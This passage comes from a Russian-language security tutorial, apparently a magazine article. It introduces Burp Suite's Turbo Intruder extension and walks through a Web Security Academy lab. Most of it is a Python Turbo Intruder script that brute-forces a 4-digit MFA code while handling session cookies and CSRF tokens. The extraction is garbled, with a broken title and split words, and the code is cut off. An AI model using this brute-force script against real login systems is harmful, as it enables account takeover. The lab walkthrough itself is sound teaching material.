Ñïîñîá 3. Èñïîëüçîâàíèå ïëàãèíà Turbo Intruder
Turbo Intruder — один из самых мощ ных инс тру мен тов Burp Suite, и его дол жен
осво ить каж дый ува жающий себя поль зователь Burp. Его так же мож но
.
ска-
чать с GitHub
Turbo Intruder пред став ляет собой рас ширение Burp Suite для отправ ки
боль шого количес тва зап росов HTTP и ана лиза резуль татов. Оно приз вано
допол нить Burp Intruder, обра баты вая ата ки, тре бующие исклю читель ной ско-
рос ти, про дол житель нос ти или слож ности. Этот модуль отли чают сле дующие
осо бен ности.
Быс тро та: Turbo Intruder исполь зует стек HTTP, соз данный вруч ную с нуля
с уче том ско рос ти. В резуль тате на мно гих целях он может серь езно обог-
нать даже мод ные асин хрон ные скрип ты на Go (на самом деле стек мож но
выб рать, и боль шинс тво из них будут тебе зна комы).
•
Мас шта биру емость: Turbo Intruder может дос тичь плос кого исполь зования
памяти, что поз воля ет про водить надеж ные мно год невные ата ки. Его так-
же мож но запус кать в headless-окру жении через коман дную стро ку.
•
Гиб кость: ата ки кон фигури руют ся с помощью Python. Это поз воля ет
выпол нять слож ные тре бова ния, нап ример под писан ные зап росы и мно-
гос тупен чатые пос ледова тель нос ти атак. Кро ме того, поль зователь ский
стек HTTP поз воля ет обра баты вать неп равиль но сфор мирован ные зап-
росы, которые лома ют дру гие биб лиоте ки.
•
Удобс тво: скуч ные резуль таты могут быть авто мати чес ки отфиль тро ваны
с помощью усо вер шенс тво ван ного алго рит ма дифов, адап тирован ного
из Backslash Powered Scanner. Это озна чает, что ты можешь запус тить ата-
ку и получить полез ные резуль таты в два кли ка.
•
Для исполь зования Turbo Intruder необ ходимо зна ние основ Python. Тем
не менее все, что нам нуж но для начала, — это уста новить Turbo Intruder
из модуля Extender.
Пос ле уста нов ки сра зу же перей дем к решению задачи.
1. Вы берем самый пер вый пакет в пос ледова тель нос ти во вклад ке Proxy
(пакет
) и наж мем на него пра вой кноп кой мыши. А даль ше
выберем пункт Extensions
→
Send to turbo intruder.
GET /login
2. В открыв шей ся панели Turbo Intruder появит ся зап рос и при меры скрип-
тов, которые мож но выб рать для исполь зования и модифи кации. В дан ном
слу чае все, что нам нуж но для победы, — это написать скрипт, который
поз волит решить задание. Ниже я при веду свой при мер кода и объ ясню
логику скрип та (сде лай мне скид ку на качес тво, вспом нив о том, что пен-
тесте ры не уме ют кодить):
import
re
import
time
# Регулярки для вытаскивания идентификаторов сессии и CSRF-токенов
re_csrf =
'name="csrf" value="([\w\d]+)"'
re_session =
'session=([\d\w]+)'
iterable =
0
def
queueRequests(target, wordlists):
global
engine
# Включаем один запрос на один коннект, чтобы не нарушать логику
выполнения, коннекты в соответствии с тем, что выдержит приложение.
# Все эти значения придется калибровать от сервера к серверу.
Сервер задачи не очень хорошо держит высокую нагрузку, поэтому
ограничимся пятью параллельными соединениями
engine = RequestEngine(endpoint=
'https://
ac051f441e762a3780359cb6002300a2.web-security-academy.net:443'
,
concurrentConnections=
5
,requestsPerConnection=
1
)
# Запускаем первые запросы, которые спровоцируют запуск
последующих запросов.
# Делаем задержку в одну секунду, чтобы потоки не исполнялись
синхронно, а чередовались.
for
x in xrange(
1
,
6
):
print
'1. GET /login Request'
engine.queue(target.req,
''
)
time.sleep(
1
)
def
handleResponse(req, interesting):
global
engine
global
iterable
if
'Location: /my-account'
in req.response:
# Если мы в ответе получили данный заголовок, значит, мы
победили
table.add(req)
print
'You Win!'
return
None
if
'Incorrect security code'
in req.response:
# Если мы получили в ответе сообщение о неправильно
введенном коде, значит, мы использовали одну попытку, и тогда мы
запускаем новую итерацию запросов
table.add(req)
print
'1. GET /login Request'
engine.queue(target.req,
''
)
return
None
if
'Please enter your 4-digit security code'
in req.response:
# Если в ответе мы получаем предложение ввести ОТР, то
отправляем запрос с попыткой ввода ОТР
match_csrf = re.search(re_csrf, req.response)
match_session = re.search(re_session, req.getRequest())
req =
'''POST /login2 HTTP/1.1
\r\n
Host:
ac051f441e762a3780359cb6002300a2.web-security-academy.net
\r\n
Cookie:
session=%s
\r\n
Content-Type: application/x-www-form-urlencoded
\r\n
Content-Length: 51
\r\n\r\n
csrf=%s&mfa-code=%s'''
print
'4. POST /login2 Request'
engine.queue(req, [match_session.group(
1
),match_csrf.group(
1
)
,str(iterable).zfill(
4
)])
iterable +=
1
print
'Iterable: '
+ str(iterable)
return
None
if
'Location: /login2'
in req.response:
# Если в ответе мы получаем сообщение о переходе на
страницу /login2, значит, мы ранее ввели корректные креды и теперь
получаем новый идентификатор сессии и переходим на страницу для
взятия CSRF для запроса с OTP
match_session = re.search(re_session, req.response)
req =
'''GET /login2 HTTP/1.1
\r\n
Host:
ac051f441e762a3780359cb6002300a2.web-security-academy.net
\r\n
Cookie:
session=%s
\r\n\r\n
'''
print
'3. GET /login2 Request'
engine.queue(req, match_session.group(
1
))
return
None
if
'
Do'stlaringiz bilan baham: |